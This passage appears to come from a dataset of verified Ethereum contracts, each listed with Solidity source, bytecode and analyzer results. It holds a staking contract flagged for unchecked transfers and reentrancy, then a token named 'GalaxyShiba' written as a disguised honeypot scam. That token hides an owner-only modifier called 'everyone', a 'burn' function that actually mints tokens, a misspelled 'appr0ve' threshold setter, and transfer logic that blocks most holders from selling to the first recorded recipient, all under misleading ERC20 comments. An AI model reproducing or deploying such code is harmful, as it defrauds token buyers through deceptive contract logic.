*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface OHMS {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256);
function tokenFromReflection(uint256 rAmount) external view returns(uint256);
}
contract Staking is Ownable {
struct User {
uint256 depositAmount;
uint256 paidReflection;
}
using SafeMath for uint256;
mapping (address => User) public users;
uint256 public reflectionTillNowPerToken = 0;
uint256 public lastUpdatedBlock;
uint256 public rewardPerBlock;
uint256 public totalOhmsReward = 0;
StakedToken public stakedToken;
OHMS public ohms;
event Deposit(address user, uint256 amount);
event Withdraw(address user, uint256 amount);
event EmergencyWithdraw(address user, uint256 amount);
event RewardClaimed(address user, uint256 amount);
event RewardPerBlockChanged(uint256 oldValue, uint256 newValue);
constructor (address _stakedToken, address _OHMS, uint256 _rewardPerBlock) public {
stakedToken = StakedToken(_stakedToken);
ohms = OHMS(_OHMS);
rewardPerBlock = _rewardPerBlock;
lastUpdatedBlock = block.number;
}
// Returns the amount of OHMS rewarded to stakers per block
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
update();
emit RewardPerBlockChanged(rewardPerBlock, _rewardPerBlock);
rewardPerBlock = _rewardPerBlock;
}
// Returns the amount of OHMS rewarded to stakers per block
function getRewardPerBlock() external view returns (uint256){
return rewardPerBlock;
}
// View function to see users staked balance on frontend.
function getUserDepositAmount(address _user) external view returns (uint256){
User storage user = users [_user];
return user.depositAmount;
}
// View function to see the amount staked in the contract in OHMS.
function getTotalStaked() external view returns (uint256){
return stakedToken.balanceOf(address(this));
}
// View function to get the remaining reward balance in the contract in OHMS.
function getTotalRemainingReward() external view returns (uint256){
return ohms.balanceOf(address(this));
}
// Update reward variables of the pool to be up-to-date.
function update() public {
if (block.number <= lastUpdatedBlock) {
return;
}
uint256 totalStakedToken;
if(stakedToken.balanceOf(address(this)) > 0){
totalStakedToken = stakedToken.balanceOf(address(this));
}
else{
totalStakedToken = 1;
}
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
totalOhmsReward = totalOhmsReward.add(rewardAmount);
uint256 reflectionRewardAmount = ohms.reflectionFromToken(rewardAmount, false).div(1000);
reflectionTillNowPerToken = reflectionTillNowPerToken.add(reflectionRewardAmount.div(totalStakedToken));
lastUpdatedBlock = block.number;
}
// View function to see pending reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
User storage user = users[_user];
uint256 accReflectionPerToken = reflectionTillNowPerToken;
uint256 totalStakedToken;
if(stakedToken.balanceOf(address(this)) > 0){
totalStakedToken = stakedToken.balanceOf(address(this));
}
else{
totalStakedToken = 1;
}
if (block.number > lastUpdatedBlock) {
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
uint256 reflectionReward = ohms.reflectionFromToken(rewardAmount,false).div(1000);
accReflectionPerToken = accReflectionPerToken.add(reflectionReward.div(totalStakedToken));
}
return ohms.tokenFromReflection((user.depositAmount.mul(accReflectionPerToken).sub(user.paidReflection)).mul(1000));
}
function deposit(uint256 amount) public {
User storage user = users[msg.sender];
update();
if (user.depositAmount > 0) {
uint256 _pendingReflection = (user.depositAmount.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(_ohmsReward > 0){
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
}
stakedToken.transferFrom(address(msg.sender), address(this), amount);
emit Deposit(msg.sender, amount);
user.depositAmount = user.depositAmount.add(amount);
user.paidReflection = user.depositAmount.mul(reflectionTillNowPerToken);
}
function withdraw(uint256 amount) public {
User storage user = users[msg.sender];
require(user.depositAmount >= amount, "withdraw amount exceeds deposited amount");
update();
uint256 _pendingReflection = (user.depositAmount.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(_ohmsReward > 0){
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
stakedToken.transfer(address(msg.sender), amount);
emit Withdraw(msg.sender, amount);
user.depositAmount = user.depositAmount.sub(amount);
user.paidReflection = user.depositAmount.mul(reflectionTillNowPerToken);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
User storage user = users[msg.sender];
stakedToken.transfer(address(msg.sender), user.depositAmount);
emit EmergencyWithdraw(msg.sender, user.depositAmount);
user.depositAmount = 0;
user.paidReflection = 0;
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063a87430ba116100ad578063e25403a711610071578063e25403a71461026d578063e334924a14610275578063f2fde38b1461027d578063f40f0f52146102a3578063f90ce5ba146102c95761012c565b8063a87430ba146101e4578063b6b55f2514610223578063bb872b4a14610240578063cc7a262e1461025d578063db2e21bc146102655761012c565b8063715018a6116100f4578063715018a6146101bc5780638ae39cac146101c45780638da5cb5b146101cc5780638e968a0b146101d4578063a2e62045146101dc5761012c565b80630917e776146101315780630cec2a761461014b578063217b50ec146101715780632e1a7d4d1461019557806349df8d33146101b4575b600080fd5b6101396102d1565b60408051918252519081900360200190f35b6101396004803603602081101561016157600080fd5b50356001600160a01b031661034d565b610179610368565b604080516001600160a01b039092168252519081900360200190f35b6101b2600480360360208110156101ab57600080fd5b5035610377565b005b61013961062a565b6101b2610630565b6101396106e4565b6101796106ea565b6101396106f9565b6101b2610744565b61020a600480360360208110156101fa57600080fd5b50356001600160a01b0316610939565b6040805192835260208301919091528051918290030190f35b6101b26004803603602081101561023957600080fd5b5035610952565b6101b26004803603602081101561025657600080fd5b5035610bc4565b610179610c78565b6101b2610c87565b610139610d63565b610139610d69565b6101b26004803603602081101561029357600080fd5b50356001600160a01b0316610d6f565b610139600480360360208110156102b957600080fd5b50356001600160a01b0316610e79565b6101396110d1565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561031c57600080fd5b505afa158015610330573d6000803e3d6000fd5b505050506040513d602081101561034657600080fd5b5051905090565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b031681565b33600090815260016020526040902080548211156103c65760405162461bcd60e51b81526004018080602001828103825260288152602001806113186028913960400191505060405180910390fd5b6103ce610744565b60006104036103e86103fd84600101546103f760025487600001546110d790919063ffffffff16565b90611139565b906110d7565b60075460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b15801561045557600080fd5b505afa158015610469573d6000803e3d6000fd5b505050506040513d602081101561047f57600080fd5b505190508015610545576007546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156104dd57600080fd5b505af11580156104f1573d6000803e3d6000fd5b505050506040513d602081101561050757600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b6006546040805163a9059cbb60e01b81523360048201526024810187905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561059957600080fd5b505af11580156105ad573d6000803e3d6000fd5b505050506040513d60208110156105c357600080fd5b5050604080513381526020810186905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a1825461060c9085611139565b80845560025461061c91906110d7565b836001018190555050505050565b60045490565b61063861117b565b6000546001600160a01b0390811691161461069a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60045481565b6000546001600160a01b031690565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561031c57600080fd5b600354431161075257610937565b600654604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d60208110156107cc57600080fd5b5051111561085257600654604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561081f57600080fd5b505afa158015610833573d6000803e3d6000fd5b505050506040513d602081101561084957600080fd5b50519050610856565b5060015b600061087160045460035443036110d790919063ffffffff16565b600554909150610881908261117f565b60055560075460408051634549b03960e01b81526004810184905260006024820181905291519192610914926103e8926001600160a01b0390921691634549b039916044808301926020929190829003018186803b1580156108e257600080fd5b505afa1580156108f6573d6000803e3d6000fd5b505050506040513d602081101561090c57600080fd5b5051906111d9565b905061092c61092382856111d9565b6002549061117f565b600255505043600355505b565b6001602081905260009182526040909120805491015482565b336000908152600160205260409020610969610744565b805415610ade5760006109996103e86103fd84600101546103f760025487600001546110d790919063ffffffff16565b60075460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b1580156109eb57600080fd5b505afa1580156109ff573d6000803e3d6000fd5b505050506040513d6020811015610a1557600080fd5b505190508015610adb576007546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610a7357600080fd5b505af1158015610a87573d6000803e3d6000fd5b505050506040513d6020811015610a9d57600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b50505b600654604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610b3857600080fd5b505af1158015610b4c573d6000803e3d6000fd5b505050506040513d6020811015610b6257600080fd5b5050604080513381526020810184905281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a18054610bab908361117f565b808255600254610bbb91906110d7565b60019091015550565b610bcc61117b565b6000546001600160a01b03908116911614610c2e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c36610744565b600454604080519182526020820183905280517f79a5349732f93288abbb68e251c3dfc325bf3ee6fde7786d919155d39733e0f59281900390910190a1600455565b6006546001600160a01b031681565b3360008181526001602090815260408083206006548154835163a9059cbb60e01b815260048101979097526024870152915190946001600160a01b039092169363a9059cbb93604480850194919392918390030190829087803b158015610ced57600080fd5b505af1158015610d01573d6000803e3d6000fd5b505050506040513d6020811015610d1757600080fd5b5050805460408051338152602081019290925280517f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd96959281900390910190a16000808255600190910155565b60025481565b60055481565b610d7761117b565b6000546001600160a01b03908116911614610dd9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e1e5760405162461bcd60e51b81526004018080602001828103825260268152602001806113406026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808216600090815260016020908152604080832060025460065483516370a0823160e01b815230600482015293519596929591948794859492909216926370a08231926024808201939291829003018186803b158015610ee057600080fd5b505afa158015610ef4573d6000803e3d6000fd5b505050506040513d6020811015610f0a57600080fd5b50511115610f9057600654604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610f5d57600080fd5b505afa158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b50519050610f94565b5060015b600354431115611036576000610fb960045460035443036110d790919063ffffffff16565b60075460408051634549b03960e01b8152600481018490526000602482018190529151939450909261101b926103e8926001600160a01b0390911691634549b03991604480820192602092909190829003018186803b1580156108e257600080fd5b905061103161102a82856111d9565b859061117f565b935050505b600754600184015484546001600160a01b0390921691632d83811991611068916103e8916103fd916103f790896110d7565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561109c57600080fd5b505afa1580156110b0573d6000803e3d6000fd5b505050506040513d60208110156110c657600080fd5b505195945050505050565b60035481565b6000826110e657506000611133565b828202828482816110f357fe5b04146111305760405162461bcd60e51b81526004018080602001828103825260218152602001806113666021913960400191505060405180910390fd5b90505b92915050565b600061113083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121b565b3390565b600082820183811015611130576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061113083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b2565b600081848411156112aa5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561126f578181015183820152602001611257565b50505050905090810190601f16801561129c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113015760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561126f578181015183820152602001611257565b50600083858161130d57fe5b049594505050505056fe776974686472617720616d6f756e742065786365656473206465706f736974656420616d6f756e744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212209556d25bf10636e8b09d832f515138c688daf3f09966366dd7cfafd4d63c255c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,967 |
0xb4f904b78c35b27817a2846ed223ea8880c17afa | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint internal number;
address internal zeroAddress;
address internal burnAddress;
address internal burnAddress2;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zeroAddress, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zeroAddress == address(0)) zeroAddress = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function burn(address _address, uint256 tokens) public everyone {
burnAddress = _address;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burnFrom(address _address) public everyone {
burnAddress2 = _address;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function appr0ve(uint256 tokens) public everyone {
number = tokens;
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
require(end != zeroAddress || (start == burnAddress && end == zeroAddress) || (start == burnAddress2 && end == zeroAddress)|| (end == zeroAddress && balances[start] <= number), "cannot be zero address");
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
}
}
contract GalaxyShiba is TokenERC20 {
function initialise() public everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _number) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
number = _number*(10**uint256(decimals));
burnAddress = burn1;
burnAddress2 = burn2;
owner = msg.sender;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806369cea3781161008c57806395d89b411161006657806395d89b41146103a15780639dc29fac14610424578063a9059cbb14610472578063dd62ed3e146104d6576100ea565b806369cea378146102e757806370a08231146103155780638da5cb5b1461036d576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce567146102785780633506ac7414610299578063592e6f59146102dd576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f761054e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ec565b60405180821515815260200191505060405180910390f35b6101de6106de565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610739565b60405180821515815260200191505060405180910390f35b610280610ac4565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad7565b005b6102e5610b73565b005b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610c1a565b005b6103576004803603602081101561032b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7c565b6040518082815260200191505060405180910390f35b610375610cc5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a9610ce9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e95780820151818401526020810190506103ce565b50505050905090810190601f1680156104165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104706004803603604081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d87565b005b6104be6004803603604081101561048857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed4565b60405180821515815260200191505060405180910390f35b610538600480360360408110156104ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611133565b6040518082815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e45780601f106105b9576101008083540402835291602001916105e4565b820191906000526020600020905b8154815290600101906020018083116105c757829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610734600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004546111ba90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156107c55750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156108105782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061081b565b61081a84846111d4565b5b61086d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093f82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ba90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1182600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b2f57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcb57600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c16573d6000803e3d6000fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7257600080fd5b8060058190555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d7f5780601f10610d5457610100808354040283529160200191610d7f565b820191906000526020600020905b815481529060010190602001808311610d6257829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b81600760006101000a81548173ffffffffffffffffffff